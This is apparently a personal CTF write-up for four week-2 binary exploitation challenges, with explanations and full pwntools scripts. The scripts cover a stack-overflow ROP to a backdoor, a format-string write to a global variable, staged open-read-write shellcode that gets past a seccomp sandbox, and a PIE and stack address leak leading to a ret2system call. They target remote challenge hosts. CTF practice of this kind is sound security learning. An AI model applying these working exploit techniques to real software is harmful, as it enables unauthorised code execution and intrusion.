NEW_STAR-WEEK2-PWN

uint32 and ret

too easy to exploit..

from pwn import *
context(arch='amd64',os='linux', log_level='debug')

DEBUG = 0

if DEBUG:
    io = process('./pwn1')
else:
    io = remote('node4j.buuoj.cn',29655)

padding = b'a'
offset = 80
pop_rdi = 0x4012f3
backdoor = 0x4011bb
ret_addr = 0x40101a
payload = padding*offset  + p64(pop_rdi)+ p64(backdoor)
io.sendlineafter("success!\n","49")
io.sendlineafter("twice\n",payload)

io.interactive()

砍一刀

No PIE -> variable address will not be random!

We can download the source code in the challenge window, in the getdiamond function we can get the format string vulnerability.

When we get 10 diamonds we can get the shell.

So we can change the diamond variable by format string vulnerability, next step is find out the diamond variable address.

Exploit:

from pwn import *

context(log_level='debug',arch='amd64')
DEBUG = 0
if DEBUG:
    io = process('./pwn')
else:
    io = remote('node4.buuoj.cn',28906)
diamond = 0x404090
while(1):
    sleep(0.1)
    strline = io.recv()
    strline = strline.decode()

    print(strline)
    if strline.find("回车") >= 0:
        #sleep(1)
        io.sendline()
        #sleep(1)
    elif strline.find("666") >= 0:
        #sleep(1)
        io.sendline("666")
    elif strline.find("输入口令==>") >= 0:
        # payload = 'A'*8+ "-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
        payload = fmtstr_payload(8, {diamond:0xa})
        sleep(1)
        io.sendline(payload)
        print(io.recv())
        # offset 8
    elif strline.find("恭喜你集齐10颗钻石!") >= 0:
        info("Get shell!")
    elif strline.find("转账成功!") >= 0:
        sleep(1)
        io.interactive()
    else:
        continue

Top2 in this challenge :)

shellcode rev


No stack protection, so we can overload the stack.


This challenge adds some limited functions in the sandbox, which are banned if we use.

Let’s check out what functions will be banned in this sandbox :)

We can’t get shell directly, but we can read flag in the write, read and open function :) [ORW]

As we know we can’t pass the orw shellcode in 0x1a length, what we can do?

Key point!

The buf address gives me a hint, and we can pass the only read function, which will be considerable length enough to pass our shellcode. When we go to the second read function, we can overwrite the return address, return to the shellcode(only the read function), and pass the ORW shellcode successfully.

Exploit:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
DEBUG = 1

if DEBUG:
    io = process('./pwn')
else:
    io = remote('node4.buuoj.cn',25714)

backdoor = 0x233000

padding = b'A'
offset = 0x30+8

# only read function
# mov esi 0x1010101; xor esi,0x1223001 [address (backdoor+0x100)]
# We can add the jmp rsi following the read asm shellcode

shellcode = "xor rax, rax;mov rdi, rax;push 0x64;pop rdx;mov esi,0x1010101;xor esi,0x1223001;syscall;jmp rsi"
shellcode = asm(shellcode)

shellcode1 = shellcraft.open("./flag")
shellcode1 += shellcraft.read(3,backdoor+0x100,0x50)
shellcode1 += shellcraft.write(1,backdoor+0x100,0x50)


shellcode1 = asm(shellcode1)
# print(shellcode1)

payload = padding*offset + p64(backdoor)

# print(payload)
io.recvuntil("Well.Just a little.\n")
io.sendline(shellcode)
gdb.attach(io,'b *$rebase(0xA4E)')

io.recvuntil("Let's see what u can do this time~\n")

io.send(payload)
io.sendlineafter("See you!\n",shellcode1)

# print(u64(io.recv().ljust(8,b'\x00')))
io.interactive()

Butter_fly

Here is the last challenge this week. There’s a reason why put it in last. Without my master help, I can’t solve this challenge. OK let’s do this challenge!

Good measures to protect this program.

When I first observe this challenge source code in IDA PRO, I think it is easy but I’m wrong..

The vulnerable function hints us to attack it. There’s a char array with 0x20 size. The first idea I can think of is to overflow it.

Because of PIE enabled, we have 2 ways to expolit the function base. One is writing partial, the other is leaking codebase. This challenge use the latter one way to solve piebase part.

Leaking PIEBASE

When we input the [padding*offset1] (b’A’*0x18), remain 0x2 bytes to leak the function address.

OK we can find the a function address is in the stack now.
PS:

  1. PIE random address begins with ‘0x55’ or ‘0x56’
  2. libc address begins with ‘0x7f’

We can see the address in DEBUG console.

In gdb, we can know the leaking address is init function address adding 98 offset which means we can get the init address by subtracting offset.
Now we get the init function address is [leaking address - 98]

We know the init address is sum of PIEBASE and the init address in elf.
PIEBASE = init address - 0x1229(elf init address)

Get shell part 1

In x86-64 pwn challenge we have the formula to get shell in ret2libc.

payload = padding*offset + ret_addr + pop_rdi + str_bin_sh + system_addr + 0xdeadbeef

ret_addr is to keep heap and stack balance.

We only send the payload in 3rd read. Without the padding we need to control the payload length to 0x18 [0x40 - (0x20+0x8)]

We have to use less payload to keep heap and stack balance : )

elf = ELF('./this_challenge')

# if we system address is followed:
system_addr = elf.sym['system'] + PIEBASE -> we need ret_addr to keep heap and stack balance

# if we use the only asm system call:
system_addr = asm_system_call + PIEBASE -> we can save 1 command address.

pop_rdi address:

Now we have to find the /bin/sh address. The tricky thing is we can’t find any features of /bin/shj in ELF

Leaking stack address

The challenge set two printf function to us, the first we use to leak the PIEBASE, the second we need to use to leak the stack base.

Why we have to leak the stack address?
A: We have to write the /bin/sh (or another command in the stack), we can use it by stack address.

Leaking stack address is similar to Leaking PIEBASE

io.sendafter("give me your age: ",b'B'*0x20)

Get shell part 2

After leaking the stack address, which is rbp, we have to calculate the offset between rbp and rsp to write in the command(/bin/sh).

The last thing last

The most TRICKY point is here.
Anybody who noticed two function close(1) and close(2)
The program ban the STDIN and STDOUT, we can’t get infomation normally!
The only one way we have to get flag relying on STDERR

Actually the we can redirect the normal STDOUT to STDERR( command 1>&2)
But I can’t get the flag, maybe the function being banned.

I try this command is work in local machine, but it fails in remote.

The tricky payload is it

sh flag


The flag will be carried out by error output. Damn who know it?

The full exploit as follow:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./pwn4')

DEBUG = 0

if DEBUG:
    io = process('./pwn4')
else:
    io = remote('node4.buuoj.cn',27674)

padding = b'A'
offset1 = 0x18
offset2 = 0x20+8

# gdb.attach(io)
io.sendafter("give me your name: ",padding*offset1)

init = u64(io.recvuntil('\x55')[-6:].ljust(8,b'\x00')) - 98

# Sometimes the receive address is beginning with '\x56'
# init = u64(io.recvuntil('\x56')[-6:].ljust(8,b'\x00')) - 98

pie_addr = init - 0x1229

system_addr = 0x129d + pie_addr
pop_rdi = 0x1423 + pie_addr
ret_addr = 0x101a + pie_addr
boynextdoor = 0x128e + pie_addr
leave = 0x1397 + pie_addr

info("init : %s" %hex(init))
info("PIE_ADDR: %s" %hex(pie_addr))
info("system_addr: %s" %hex(system_addr))


# gdb.attach(io)
io.sendafter("give me your age: ",b'B'*0x20)

stack_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x30

#payload =  b'/bin/sh 1>&2'+b'\x00'*0x1c +p64(pop_rdi)+ p64(stack_addr) + p64(system_addr)
payload =  b'sh flag'+b'\x00'*0x21 +p64(pop_rdi)+ p64(stack_addr) + p64(system_addr)

io.sendlineafter("susu give me your wechat number: ",payload)
io.interactive()

That’s a difficult challenge, I learned a lot. Thanks my master suggestion.
Never give up and keep going!